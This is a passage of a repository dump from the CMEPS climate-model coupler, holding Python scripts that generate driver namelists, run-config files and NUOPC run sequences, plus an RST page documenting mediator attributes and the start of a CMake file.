valid component type\"\n % comp,\n )\n # End for\n # End if\n # Set esp interval\n if \"nstep\" in pauseo:\n esp_time = mindt\n else:\n esp_time = get_time_in_seconds(pausen, pauseo)\n\n nmlgen.set_value(\"esp_cpl_dt\", value=esp_time)\n # End if pause is active\n\n # --------------------------------\n # Specify input data list file\n # --------------------------------\n data_list_path = os.path.join(\n case.get_case_root(), \"Buildconf\", \"cpl.input_data_list\"\n )\n if os.path.exists(data_list_path):\n os.remove(data_list_path)\n\n # --------------------------------\n # Write namelist file drv_in and initial input dataset list.\n # --------------------------------\n namelist_file = os.path.join(confdir, \"drv_in\")\n drv_namelist_groups = [\"papi_inparm\", \"prof_inparm\", \"debug_inparm\"]\n nmlgen.write_output_file(\n namelist_file, data_list_path=data_list_path, groups=drv_namelist_groups\n )\n\n # --------------------------------\n # Write nuopc.runconfig file and add to input dataset list.\n # --------------------------------\n # Determine valid components\n valid_comps = []\n asyncio = False\n\n for item in case.get_values(\"COMP_CLASSES\"):\n comp = case.get_value(\"COMP_\" + item)\n if case.get_value(f\"PIO_ASYNC_INTERFACE\", {\"compclass\":item}):\n asyncio = True\n\n valid = True\n if comp == \"s\" + item.lower():\n # stub comps\n valid = False\n elif comp == \"x\" + item.lower():\n # xcpl_comps\n if item != \"ESP\": # no esp xcpl component\n if (\n case.get_value(item + \"_NX\") == \"0\"\n and case.get_value(item + \"_NY\") == \"0\"\n ):\n valid = False\n elif comp == \"mosart\":\n # special case - mosart in NULL mode\n if case.get_value(\"MOSART_MODE\") == \"NULL\":\n valid = False\n elif comp == \"rtm\":\n # special case - rtm in NULL mode\n if case.get_value(\"RTM_MODE\") == \"NULL\":\n valid = False\n if valid:\n valid_comps.append(item)\n asyncio_ntasks = case.get_value(\"PIO_ASYNCIO_NTASKS\")\n asyncio_stride = case.get_value(\"PIO_ASYNCIO_STRIDE\")\n # If asyncio is enabled make sure that the aysncio values are set\n # if not enabled then do not pass xml settings to namelists.\n if asyncio:\n expect(asyncio_ntasks > 0 and asyncio_stride > 0,\n \"ASYNCIO is enabled but PIO_ASYNCIO_NTASKS={} and PIO_ASYNCIO_STRIDE = {}\".\n format(asyncio_ntasks, asyncio_stride))\n else:\n if asyncio_ntasks > 0 or asyncio_stride > 0:\n logger.warning(\"ASYNCIO is disabled, ignoring settings for PIO_ASYNCIO_NTASKS={} and PIO_ASYNCIO_STRIDE = {}\".\n format(asyncio_ntasks, asyncio_stride))\n nmlgen.set_value(\"pio_asyncio_ntasks\", 0)\n nmlgen.set_value(\"pio_asyncio_stride\", 0)\n\n # Determine if there are any data components in the compset\n datamodel_in_compset = False\n comp_classes = case.get_values(\"COMP_CLASSES\")\n for comp in comp_classes:\n dcompname = \"d\" + comp.lower()\n if dcompname in case.get_value(\"COMP_{}\".format(comp)):\n datamodel_in_compset = True\n\n # Determine if will skip the mediator and then set the\n # driver rpointer file if there is only one non-stub component then skip mediator\n if len(valid_comps) == 2 and not datamodel_in_compset:\n # skip the mediator if there is a prognostic component and all other components are stub\n valid_comps.remove(\"CPL\")\n nmlgen.set_value(\"mediator_present\", value=\".false.\")\n nmlgen.set_value(\"component_list\", value=\" \".join(valid_comps))\n else:\n # do not skip mediator if there is a data component but all other components are stub\n valid_comps_string = \" \".join(valid_comps)\n nmlgen.set_value(\n \"component_list\", value=valid_comps_string.replace(\"CPL\", \"MED\")\n )\n # the driver restart pointer will look like a mediator is present even if it is not\n nmlgen.set_value(\"drv_restart_pointer\", value=\"rpointer.cpl\")\n\n logger.info(\"Writing nuopc_runconfig for components {}\".format(valid_comps))\n nuopc_config_file = os.path.join(confdir, \"nuopc.runconfig\")\n\n if os.path.exists(nuopc_config_file):\n os.unlink(nuopc_config_file)\n\n lid = os.environ[\"LID\"] if \"LID\" in os.environ else get_timestamp(\"%y%m%d-%H%M%S\")\n\n # if we are in multi-coupler mode the number of instances of mediator will be the max\n # of any NINST_* value\n maxinst = 1\n\n with open(nuopc_config_file, \"a\", encoding=\"utf-8\") as conffile:\n nmlgen.write_nuopc_config_file(conffile, data_list_path=data_list_path)\n\n for model in case.get_values(\"COMP_CLASSES\") + [\"DRV\"]:\n model = model.lower()\n config = {}\n config[\"component\"] = model\n nmlgen.init_defaults([], config, skip_entry_loop=True)\n if model == \"cpl\":\n newgroup = \"MED_modelio\"\n else:\n newgroup = model.upper() + \"_modelio\"\n nmlgen.rename_group(\"modelio\", newgroup)\n\n inst_count = maxinst\n if not model == \"drv\":\n for entry in [\n \"pio_async_interface\",\n \"pio_netcdf_format\",\n \"pio_numiotasks\",\n \"pio_rearranger\",\n \"pio_root\",\n \"pio_stride\",\n \"pio_typename\",\n ]:\n nmlgen.add_default(entry)\n\n inst_string = \"\"\n inst_index = 1\n while inst_index <= inst_count:\n # determine instance string\n if inst_count > 1:\n inst_string = \"_{:04d}\".format(inst_index)\n\n # Output the following to nuopc.runconfig\n nmlgen.set_value(\"diro\", case.get_value(\"RUNDIR\"))\n if model == \"cpl\":\n logfile = \"med\" + inst_string + \".log.\" + str(lid)\n elif model == \"drv\":\n logfile = model + \".log.\" + str(lid)\n else:\n logfile = model + inst_string + \".log.\" + str(lid)\n nmlgen.set_value(\"logfile\", logfile)\n inst_index = inst_index + 1\n nmlgen.write_nuopc_config_file(conffile)\n\n # --------------------------------\n # Update nuopc.runconfig file if component needs it\n # --------------------------------\n\n # Read nuopc.runconfig\n with open(nuopc_config_file, \"r\", encoding=\"utf-8\") as f:\n lines_cpl = f.readlines()\n\n # Look for only active components except CPL\n lines_comp = []\n for comp in comps:\n if (\n comp != \"CPL\"\n and case.get_value(\"COMP_{}\".format(comp)) != \"d\" + comp.lower()\n ):\n # Read *.configure file for component\n caseroot = case.get_value(\"CASEROOT\")\n comp_config_file = os.path.join(\n caseroot,\n \"Buildconf\",\n \"{}conf\".format(case.get_value(\"COMP_{}\".format(comp))),\n \"{}.configure\".format(case.get_value(\"COMP_{}\".format(comp))),\n )\n if os.path.isfile(comp_config_file):\n with open(comp_config_file, \"r\", encoding=\"utf-8\") as f:\n lines_comp = f.readlines()\n\n if lines_comp:\n # Loop over nuopc.runconfig\n lines_cpl_new = []\n for line_cpl in lines_cpl:\n lines_cpl_new.append(line_cpl)\n # Query group name\n for line_comp in lines_comp:\n if \"_attributes::\" in line_comp:\n group_name = line_comp\n if group_name in line_cpl:\n if \"::\" in line_comp or not line_comp.strip():\n continue\n lines_cpl_new.append(line_comp)\n\n # Write to a file\n with open(nuopc_config_file, \"w\", encoding=\"utf-8\") as f:\n for line in lines_cpl_new:\n f.write(line)\n\n # --------------------------------\n # Write nuopc.runseq\n # --------------------------------\n _create_runseq(case, coupling_times, valid_comps)\n\n # --------------------------------\n # Write drv_flds_in\n # --------------------------------\n # In thte following, all values come simply from the infiles - no default values need to be added\n # FIXME - do want to add the possibility that will use a user definition file for drv_flds_in\n\n caseroot = case.get_value(\"CASEROOT\")\n namelist_file = os.path.join(confdir, \"drv_flds_in\")\n nmlgen.add_default(\"drv_flds_in_files\")\n drvflds_files = nmlgen.get_default(\"drv_flds_in_files\")\n infiles = []\n for drvflds_file in drvflds_files:\n infile = os.path.join(caseroot, drvflds_file)\n if os.path.isfile(infile):\n infiles.append(infile)\n\n if len(infiles) != 0:\n\n # First read the drv_flds_in files and make sure that\n # for any key there are not two conflicting values\n dicts = {}\n for infile in infiles:\n dict_ = {}\n with open(infile, \"r\", encoding=\"utf-8\") as myfile:\n for line in myfile:\n if \"=\" in line and \"!\" not in line:\n name, var = line.partition(\"=\")[::2]\n name = name.strip()\n var = var.strip()\n dict_[name] = var\n dicts[infile] = dict_\n\n for first, second in itertools.combinations(dicts.keys(), 2):\n compare_drv_flds_in(dicts[first], dicts[second], first, second)\n\n # Now create drv_flds_in\n config = {}\n definition_dir = os.path.dirname(\n files.get_value(\"NAMELIST_DEFINITION_FILE\", attribute={\"component\": \"drv\"})\n )\n definition_file = [\n os.path.join(definition_dir, \"namelist_definition_drv_flds.xml\")\n ]\n nmlgen = NamelistGenerator(case, definition_file, files=files)\n skip_entry_loop = True\n nmlgen.init_defaults(infiles, config, skip_entry_loop=skip_entry_loop)\n drv_flds_in = os.path.join(caseroot, \"CaseDocs\", \"drv_flds_in\")\n nmlgen.write_output_file(drv_flds_in)\n\n\n###############################################################################\ndef _create_runseq(case, coupling_times, valid_comps):\n ###############################################################################\n\n caseroot = case.get_value(\"CASEROOT\")\n user_file = os.path.join(caseroot, \"nuopc.runseq\")\n rundir = case.get_value(\"RUNDIR\")\n\n if os.path.exists(user_file):\n\n # Determine if there is a user run sequence file in CASEROOT, use it\n shutil.copy(user_file, rundir)\n shutil.copy(user_file, os.path.join(caseroot, \"CaseDocs\"))\n logger.info(\"NUOPC run sequence: copying custom run sequence from case root\")\n\n else:\n\n if len(valid_comps) == 1:\n\n # Create run sequence with no mediator\n outfile = open(\n os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\"),\n \"w\",\n encoding=\"utf-8\",\n )\n dtime = coupling_times[valid_comps[0].lower() + \"_cpl_dt\"]\n outfile.write(\"runSeq:: \\n\")\n outfile.write(\"@\" + str(dtime) + \" \\n\")\n outfile.write(\" \" + valid_comps[0] + \" \\n\")\n outfile.write(\"@ \\n\")\n outfile.write(\":: \\n\")\n outfile.close()\n shutil.copy(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\"), rundir)\n\n else:\n\n # Create a run sequence file appropriate for target compset\n comp_atm = case.get_value(\"COMP_ATM\")\n comp_ice = case.get_value(\"COMP_ICE\")\n comp_glc = case.get_value(\"COMP_GLC\")\n comp_lnd = case.get_value(\"COMP_LND\")\n comp_ocn = case.get_value(\"COMP_OCN\")\n\n sys.path.append(os.path.join(os.path.dirname(__file__), \"runseq\"))\n\n if comp_ice == \"cice\" and comp_atm == \"datm\" and comp_ocn == \"docn\":\n from runseq_D import gen_runseq\n elif comp_lnd == \"dlnd\" and comp_glc == \"cism\":\n from runseq_TG import gen_runseq\n else:\n from runseq_general import gen_runseq\n\n # create the run sequence\n gen_runseq(case, coupling_times)\n\n\n###############################################################################\ndef compare_drv_flds_in(first, second, infile1, infile2):\n ###############################################################################\n sharedKeys = set(first.keys()).intersection(second.keys())\n for key in sharedKeys:\n if first[key] != second[key]:\n print(\n \"Key: {}, \\n Value 1: {}, \\n Value 2: {}\".format(\n key, first[key], second[key]\n )\n )\n expect(\n False,\n \"incompatible settings in drv_flds_in from \\n %s \\n and \\n %s\"\n % (infile1, infile2),\n )\n\n\n###############################################################################\ndef buildnml(case, caseroot, component):\n ###############################################################################\n if component != \"drv\":\n raise AttributeError\n\n # Do a check here of ESMF VERSION, requires 8.1.0 or newer (8.2.0 or newer for esmf_aware_threading)\n esmf_aware_threading = case.get_value(\"ESMF_AWARE_THREADING\")\n esmfmkfile = os.getenv(\"ESMFMKFILE\")\n expect(\n esmfmkfile and os.path.isfile(esmfmkfile),\n \"ESMFMKFILE not found {}\".format(esmfmkfile),\n )\n with open(esmfmkfile, \"r\", encoding=\"utf-8\") as f:\n major = None\n minor = None\n for line in f.readlines():\n if \"ESMF_VERSION\" in line:\n major = line[-2] if \"MAJOR\" in line else major\n minor = line[-2] if \"MINOR\" in line else minor\n logger.debug(\"ESMF version major {} minor {}\".format(major, minor))\n expect(int(major) >= 8 and int(minor) >=4, \"ESMF version should be 8.4.1 or newer\")\n\n confdir = os.path.join(case.get_value(\"CASEBUILD\"), \"cplconf\")\n if not os.path.isdir(confdir):\n os.makedirs(confdir)\n\n # NOTE: User definition *replaces* existing definition.\n # TODO: Append instead of replace?\n user_xml_dir = os.path.join(caseroot, \"SourceMods\", \"src.drv\")\n\n expect(\n os.path.isdir(user_xml_dir), \"user_xml_dir %s does not exist \" % user_xml_dir\n )\n\n files = Files(comp_interface=\"nuopc\")\n\n # TODO: to get the right attributes of COMP_ROOT_DIR_CPL in evaluating definition_file - need\n # to do the following first - this needs to be changed so that the following two lines are not needed!\n comp_root_dir_cpl = files.get_value(\n \"COMP_ROOT_DIR_CPL\", {\"component\": \"cpl\"}, resolved=False\n )\n files.set_value(\"COMP_ROOT_DIR_CPL\", comp_root_dir_cpl)\n\n definition_files = [\n files.get_value(\"NAMELIST_DEFINITION_FILE\", {\"component\": \"cpl\"})\n ]\n user_drv_definition = os.path.join(user_xml_dir, \"namelist_definition_drv.xml\")\n if os.path.isfile(user_drv_definition):\n definition_files.append(user_drv_definition)\n\n # create the namelist generator object - independent of instance\n nmlgen = NamelistGenerator(case, definition_files)\n\n # create cplconf/namelist\n infile_text = \"\"\n\n # determine infile list for nmlgen\n user_nl_file = os.path.join(caseroot, \"user_nl_cpl\")\n namelist_infile = os.path.join(confdir, \"namelist_infile\")\n create_namelist_infile(case, user_nl_file, namelist_infile, infile_text)\n infile = [namelist_infile]\n\n # create the files nuopc.runconfig, nuopc.runseq, drv_in and drv_flds_in\n _create_drv_namelists(case, infile, confdir, nmlgen, files)\n\n # set rundir\n rundir = case.get_value(\"RUNDIR\")\n\n # copy nuopc.runconfig to rundir\n shutil.copy(os.path.join(confdir, \"drv_in\"), rundir)\n shutil.copy(os.path.join(confdir, \"nuopc.runconfig\"), rundir)\n\n # copy drv_flds_in to rundir\n drv_flds_in = os.path.join(caseroot, \"CaseDocs\", \"drv_flds_in\")\n if os.path.isfile(drv_flds_in):\n shutil.copy(drv_flds_in, rundir)\n\n # copy all *modelio* files to rundir\n for filename in glob.glob(os.path.join(confdir, \"*modelio*\")):\n shutil.copy(filename, rundir)\n\n # copy fd_cesm.yaml to rundir - look in user_xml_dir first\n user_yaml_file = os.path.join(user_xml_dir, \"fd_cesm.yaml\")\n if os.path.isfile(user_yaml_file):\n filename = user_yaml_file\n else:\n filename = os.path.join(\n os.path.dirname(__file__), os.pardir, \"mediator\", \"fd_cesm.yaml\"\n )\n shutil.copy(filename, os.path.join(rundir, \"fd.yaml\"))\n\n\n###############################################################################\ndef _main_func():\n caseroot = parse_input(sys.argv)\n\n with Case(caseroot) as case:\n buildnml(case, caseroot, \"drv\")\n\n\nif __name__ == \"__main__\":\n _main_func()\n" }, { "alpha_fraction": 0.7237312197685242, "alphanum_fraction": 0.7258756160736084, "avg_line_length": 40.14706039428711, "blob_id": "81c19f8473099baf2d4e59889e5a98f535eef282", "content_id": "4103036326eb03010aeb540feada80ee24be9539", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 2798, "license_type": "no_license", "max_line_length": 114, "num_lines": 68, "path": "/doc/source/addendum/req_attributes.rst", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": ".. _attributes:\n\n==========================================\n CMEPS Application Independent Attributes\n==========================================\n\nThe following attributes are obtained from the respective driver and\navailable to all components that the driver uses. In the case of\nNEMS, the NEMS driver ingests these attributes from the\n``nems.configure`` file. In the case of CESM, the CESM driver ingests\nthese attributes from the ``nuopc.runconfig`` file. The list of\nattributes below are separated into application independent attributes\nand at this time additional attributes required by CESM. There are no\nNEMS-specific attributes required by the NEMS application.\n\n\nGeneral\n-------\n\n**coupling_mode** (required)\n\n The coupling_mode attribute determines which\n ``esmFlds_exchange_xxx_mod.F90`` and ``fd_xxx.yaml`` is used by\n CMEPS and is also leveraged in some of the custom calculations in\n the ``prep`` modules.\n\n The currently supported values for ``coupling_mode`` are ``cesm``, ``nems_orig``, ``nems_frac`` and ``hafs``.\n\nScalar attributes\n-----------------\n\n**ScalarFieldCount**\n The maximum number of scalars that are going to be communicated\n between the mediator and a component. Currently scalar values are\n put into a field bundle that only contains an undistributed\n dimension equal to the size of ``ScalarFieldCount`` and communicated\n between the component and the mediator on the `main task` of each\n component.\n\n**ScalarFieldName** (required)\n This is the name of the scalar field bundle. By default it is ``cpl_scalars``.\n\n**ScalarFieldIdxGridNX**, **ScalarFieldIdxGridNY** (required)\n The global number of longitude and latitude points. For unstructured grids::\n\n ScalarFieldIdxGridNY = 1\n ScalarFieldIdxGridNX = global size of mesh\n\n For cases where ``ScalarFieldIdxGridNY`` is not 1, this scalar data\n is needed by the mediator for the history output.\n\n**ScalarFieldIdxNextSwCday** (optional)\n Send by the atmosphere component to specify the calendar day of its\n next short wave computation. This is subsequently used by other\n components (e.g. cesm-land and sea-ice) in determining the zenith\n angle for its albedo calculation. It is also used in the mediator\n routine ``med_phases_ocnalb_mod.F90`` to determine the zenith angle\n in the ocean albedo calculation.\n\nMediator history and restart attributes\n---------------------------------------\n\n**history_option**, **history_n** (required)\n Determines the write frequency for a mediator history file (see :ref:`mediator history writes<history_writes>`).\n**restart_option**, **restart_n** (required)\n Determines the write frequency for a mediator restart file (see :ref:`mediator restart writes<restart_writes>`).\n**read_restart** (required)\n Determines if a mediator restart file is read in.\n" }, { "alpha_fraction": 0.6353361010551453, "alphanum_fraction": 0.6359310150146484, "avg_line_length": 38.093021392822266, "blob_id": "9d4acc5355d853fd0136a8e48ba865720bc23079", "content_id": "c0bb4ab9219dd0b1749bbdbd332aeb30ec4bf30c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1681, "license_type": "no_license", "max_line_length": 109, "num_lines": 43, "path": "/cime_config/runseq/runseq_TG.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os, shutil, sys\nfrom CIME.utils import expect\nfrom gen_runseq import RunSeq\nfrom driver_config import DriverConfig\n\n_CIMEROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir,os.pardir,os.pardir,os.pardir))\nsys.path.append(os.path.join(_CIMEROOT, \"scripts\", \"Tools\"))\n\nfrom standard_script_setup import *\n\n#pylint:disable=undefined-variable\nlogger = logging.getLogger(__name__)\n\ndef gen_runseq(case, coupling_times):\n\n rundir = case.get_value(\"RUNDIR\")\n caseroot = case.get_value(\"CASEROOT\")\n\n driver_config = DriverConfig(case, coupling_times)\n run_glc, med_to_glc, glc_cpl_time = driver_config['glc']\n run_lnd, _ , lnd_cpl_time = driver_config['lnd']\n\n if lnd_cpl_time != glc_cpl_time:\n expect(False,\"for TG compset require that lnd_cpl_time equal glc_cpl_time\")\n\n with RunSeq(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\")) as runseq:\n\n runseq.enter_time_loop(glc_cpl_time, True)\n\n runseq.add_action (\"LND\" , run_lnd)\n runseq.add_action (\"LND -> MED :remapMethod=redist\" , run_lnd)\n runseq.add_action (\"MED med_phases_post_lnd\" , run_lnd)\n runseq.add_action (\"MED med_phases_prep_glc\" , med_to_glc)\n runseq.add_action (\"MED -> GLC :remapMethod=redist\" , med_to_glc)\n runseq.add_action (\"GLC\" , run_glc)\n runseq.add_action (\"GLC -> MED :remapMethod=redist\" , run_glc)\n runseq.add_action (\"MED med_phases_history_write\" , True)\n\n runseq.leave_time_loop(True)\n\n shutil.copy(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\"), rundir)\n" }, { "alpha_fraction": 0.5949604511260986, "alphanum_fraction": 0.595652163028717, "avg_line_length": 48.12621307373047, "blob_id": "5ffad0b32e7b8273e8cb9e475b3a7f31296e080f", "content_id": "ddbfca598397798853f309c27de23657cd15f2c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10120, "license_type": "no_license", "max_line_length": 136, "num_lines": 206, "path": "/cime_config/runseq/runseq_general.py", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport os, shutil, sys\nfrom CIME.utils import expect\nfrom gen_runseq import RunSeq\nfrom driver_config import DriverConfig\n\n_CIMEROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir,os.pardir,os.pardir,os.pardir))\nsys.path.append(os.path.join(_CIMEROOT, \"scripts\", \"Tools\"))\n\nfrom standard_script_setup import *\n\n#pylint:disable=undefined-variable\nlogger = logging.getLogger(__name__)\n\ndef gen_runseq(case, coupling_times):\n\n rundir = case.get_value(\"RUNDIR\")\n caseroot = case.get_value(\"CASEROOT\")\n cpl_seq_option = case.get_value('CPL_SEQ_OPTION')\n coupling_mode = case.get_value('COUPLING_MODE')\n diag_mode = case.get_value('BUDGETS')\n xcompset = case.get_value(\"COMP_ATM\") == 'xatm'\n cpl_add_aoflux = not xcompset and case.get_value('ADD_AOFLUX_TO_RUNSEQ')\n\n # It is assumed that if a component will be run it will send information to the mediator\n # so the flags run_xxx and xxx_to_med are redundant\n\n driver_config = DriverConfig(case, coupling_times)\n run_atm, med_to_atm, atm_cpl_time = driver_config['atm']\n run_ice, med_to_ice, ice_cpl_time = driver_config['ice']\n run_glc, med_to_glc, glc_cpl_time = driver_config['glc']\n run_lnd, med_to_lnd, lnd_cpl_time = driver_config['lnd']\n run_ocn, med_to_ocn, ocn_cpl_time = driver_config['ocn']\n run_rof, med_to_rof, rof_cpl_time = driver_config['rof']\n run_wav, med_to_wav, wav_cpl_time = driver_config['wav']\n\n comp_glc = case.get_value(\"COMP_GLC\")\n run_glc = False\n post_glc = False\n if (comp_glc == 'cism'):\n run_glc = True\n if case.get_value(\"CISM_EVOLVE\"):\n post_glc = True\n else:\n post_glc = False\n elif (comp_glc == 'xglc'):\n run_glc = True\n post_glc = True\n\n # Note: assume that atm_cpl_dt, lnd_cpl_dt, ice_cpl_dt and wav_cpl_dt are the same\n\n if lnd_cpl_time != atm_cpl_time:\n expect(False, \"assume that lnd_cpl_time is equal to atm_cpl_time\")\n if ice_cpl_time != atm_cpl_time:\n expect(False, \"assume that ice_cpl_time is equal to atm_cpl_time\")\n if wav_cpl_time != atm_cpl_time:\n expect(False, \"assume that wav_cpl_time is equal to atm_cpl_time\")\n if rof_cpl_time < ocn_cpl_time:\n expect(False, \"assume that rof_cpl_time is always greater than or equal to ocn_cpl_time\")\n\n rof_outer_loop = run_rof and rof_cpl_time > atm_cpl_time\n ocn_outer_loop = run_ocn and ocn_cpl_time > atm_cpl_time\n\n inner_loop = ((atm_cpl_time < ocn_cpl_time) or\n (atm_cpl_time < rof_cpl_time) or\n (run_glc and atm_cpl_time < glc_cpl_time) or\n atm_cpl_time == ocn_cpl_time)\n\n with RunSeq(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\")) as runseq:\n\n #------------------\n runseq.enter_time_loop(glc_cpl_time, newtime=run_glc, active=med_to_glc)\n #------------------\n\n #------------------\n runseq.enter_time_loop(rof_cpl_time, newtime=rof_outer_loop)\n #------------------\n\n #------------------\n runseq.enter_time_loop(ocn_cpl_time, newtime=ocn_outer_loop)\n #------------------\n\n if (cpl_seq_option == 'OPTION2'):\n runseq.add_action(\"MED med_phases_prep_ocn_avg\" , med_to_ocn and ocn_outer_loop)\n runseq.add_action(\"MED -> OCN :remapMethod=redist\" , med_to_ocn and ocn_outer_loop)\n\n #------------------\n runseq.enter_time_loop(atm_cpl_time, newtime=inner_loop)\n #------------------\n\n if (cpl_seq_option == 'OPTION1' or cpl_seq_option == 'OPTION2'):\n if cpl_add_aoflux:\n runseq.add_action(\"MED med_phases_aofluxes_run\" , run_ocn and run_atm and (med_to_ocn or med_to_atm))\n runseq.add_action(\"MED med_phases_prep_ocn_accum\" , med_to_ocn)\n runseq.add_action(\"MED med_phases_ocnalb_run\" , (run_ocn and run_atm and (med_to_ocn or med_to_atm)) and not xcompset)\n runseq.add_action(\"MED med_phases_diag_ocn\" , run_ocn and diag_mode)\n\n if (cpl_seq_option == 'OPTION1'):\n if ocn_cpl_time != atm_cpl_time:\n runseq.enter_time_loop(ocn_cpl_time, newtime=inner_loop, addextra_atsign=True)\n runseq.add_action(\"MED med_phases_prep_ocn_avg\" , med_to_ocn and ocn_outer_loop)\n runseq.add_action(\"MED -> OCN :remapMethod=redist\" , med_to_ocn and ocn_outer_loop)\n if ocn_cpl_time != atm_cpl_time:\n runseq.leave_time_loop(inner_loop, addextra_atsign=True)\n\n if (cpl_seq_option == 'TIGHT'):\n runseq.add_action(\"MED med_phases_aofluxes_run\" , med_to_ocn)\n runseq.add_action(\"MED med_phases_prep_ocn_accum\" , med_to_ocn)\n runseq.add_action(\"MED med_phases_prep_ocn_avg\" , med_to_ocn and ocn_outer_loop)\n runseq.add_action(\"MED -> OCN :remapMethod=redist\", med_to_ocn and ocn_outer_loop)\n\n runseq.add_action(\"MED med_phases_prep_lnd\" , med_to_lnd)\n runseq.add_action(\"MED -> LND :remapMethod=redist\" , med_to_lnd)\n\n runseq.add_action(\"MED med_phases_prep_ice\" , med_to_ice)\n runseq.add_action(\"MED -> ICE :remapMethod=redist\" , med_to_ice)\n\n runseq.add_action(\"MED med_phases_prep_wav_accum\" , med_to_wav)\n runseq.add_action(\"MED med_phases_prep_wav_avg\" , med_to_wav)\n runseq.add_action(\"MED -> WAV :remapMethod=redist\" , med_to_wav)\n\n runseq.add_action(\"MED med_phases_prep_rof\" , med_to_rof and not rof_outer_loop)\n runseq.add_action(\"MED -> ROF :remapMethod=redist\" , med_to_rof and not rof_outer_loop)\n\n runseq.add_action(\"MED med_phases_prep_ocn_avg\" , med_to_ocn and not ocn_outer_loop)\n runseq.add_action(\"MED -> OCN :remapMethod=redist\" , med_to_ocn and not ocn_outer_loop)\n\n runseq.add_action(\"ICE\" , run_ice)\n runseq.add_action(\"LND\" , run_lnd)\n runseq.add_action(\"ROF\" , run_rof and not rof_outer_loop)\n runseq.add_action(\"WAV\" , run_wav)\n runseq.add_action(\"OCN\" , run_ocn and not ocn_outer_loop)\n\n if coupling_mode == 'hafs':\n runseq.add_action(\"OCN -> MED :remapMethod=redist:ignoreUnmatchedIndices=true\", run_ocn and not ocn_outer_loop)\n else:\n runseq.add_action(\"OCN -> MED :remapMethod=redist\", run_ocn and not ocn_outer_loop)\n runseq.add_action(\"MED med_phases_post_ocn\", run_ocn and not ocn_outer_loop)\n\n if (cpl_seq_option == 'TIGHT'):\n if cpl_add_aoflux:\n runseq.add_action(\"MED med_phases_aofluxes_run\" , run_ocn and run_atm)\n runseq.add_action(\"MED med_phases_prep_ocn_accum\" , med_to_ocn)\n runseq.add_action(\"MED med_phases_ocnalb_run\" , (run_ocn and run_atm) and not xcompset)\n runseq.add_action(\"MED med_phases_diag_ocn\" , run_ocn and diag_mode)\n\n runseq.add_action(\"LND -> MED :remapMethod=redist\" , run_lnd)\n runseq.add_action(\"MED med_phases_post_lnd\" , run_lnd)\n runseq.add_action(\"MED med_phases_diag_lnd\" , run_lnd and diag_mode)\n runseq.add_action(\"MED med_phases_diag_rof\" , run_rof and diag_mode)\n runseq.add_action(\"MED med_phases_diag_ice_ice2med\" , run_ice and diag_mode)\n runseq.add_action(\"MED med_phases_diag_glc\" , run_glc and diag_mode)\n\n runseq.add_action(\"ICE -> MED :remapMethod=redist\" , run_ice)\n runseq.add_action(\"MED med_phases_post_ice\" , run_ice)\n\n runseq.add_action(\"MED med_phases_prep_atm\" , med_to_atm)\n runseq.add_action(\"MED -> ATM :remapMethod=redist\" , med_to_atm)\n runseq.add_action(\"ATM\" , run_atm)\n runseq.add_action(\"ATM -> MED :remapMethod=redist\" , run_atm)\n runseq.add_action(\"MED med_phases_post_atm\" , run_atm)\n runseq.add_action(\"MED med_phases_diag_atm\" , run_atm and diag_mode)\n runseq.add_action(\"MED med_phases_diag_ice_med2ice\" , run_ice and diag_mode)\n\n runseq.add_action(\"WAV -> MED :remapMethod=redist\", run_wav)\n runseq.add_action(\"MED med_phases_post_wav\" , run_wav)\n\n runseq.add_action(\"ROF -> MED :remapMethod=redist\", run_rof and not rof_outer_loop)\n runseq.add_action(\"MED med_phases_post_rof\" , run_rof and not rof_outer_loop)\n\n runseq.add_action(\"MED med_phases_diag_accum\" , diag_mode)\n runseq.add_action(\"MED med_phases_diag_print\" , diag_mode)\n\n #------------------\n runseq.leave_time_loop(inner_loop)\n #------------------\n\n runseq.add_action(\"OCN\", run_ocn and ocn_outer_loop)\n if coupling_mode == 'hafs':\n runseq.add_action(\"OCN -> MED :remapMethod=redist:ignoreUnmatchedIndices=true\", run_ocn and ocn_outer_loop)\n else:\n runseq.add_action(\"OCN -> MED :remapMethod=redist\", run_ocn and ocn_outer_loop)\n runseq.add_action(\"MED med_phases_post_ocn\", run_ocn and ocn_outer_loop)\n\n #------------------\n runseq.leave_time_loop(ocn_outer_loop)\n #------------------\n\n runseq.add_action(\"MED med_phases_prep_rof\" , med_to_rof and rof_outer_loop)\n runseq.add_action(\"MED -> ROF :remapMethod=redist\", med_to_rof and rof_outer_loop)\n runseq.add_action(\"ROF\" , run_rof and rof_outer_loop)\n runseq.add_action(\"ROF -> MED :remapMethod=redist\", run_rof and rof_outer_loop)\n runseq.add_action(\"MED med_phases_post_rof\" , run_rof and rof_outer_loop)\n\n #------------------\n runseq.leave_time_loop(rof_outer_loop)\n #------------------\n\n runseq.add_action(\"MED med_phases_prep_glc\" , med_to_glc)\n runseq.add_action(\"MED -> GLC :remapMethod=redist\" , med_to_glc)\n runseq.add_action(\"GLC\" , run_glc and med_to_glc)\n runseq.add_action(\"GLC -> MED :remapMethod=redist\" , run_glc)\n runseq.add_action(\"MED med_phases_post_glc\" , run_glc and post_glc)\n\n shutil.copy(os.path.join(caseroot, \"CaseDocs\", \"nuopc.runseq\"), rundir)\n" }, { "alpha_fraction": 0.6291618943214417, "alphanum_fraction": 0.6704936623573303, "avg_line_length": 43.66666793823242, "blob_id": "a6c757d9df48463a1abb77b568e1ef00ba9434d0", "content_id": "84f62675e3822bef494404446fd1ef4870dc433d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1742, "license_type": "no_license", "max_line_length": 70, "num_lines": 39, "path": "/mediator/CMakeLists.txt", "repo_name": "ESCOMP/CMEPS", "src_encoding": "UTF-8", "text": "project(cmeps Fortran)\n\nset(SRCFILES esmFldsExchange_cesm_mod.F90 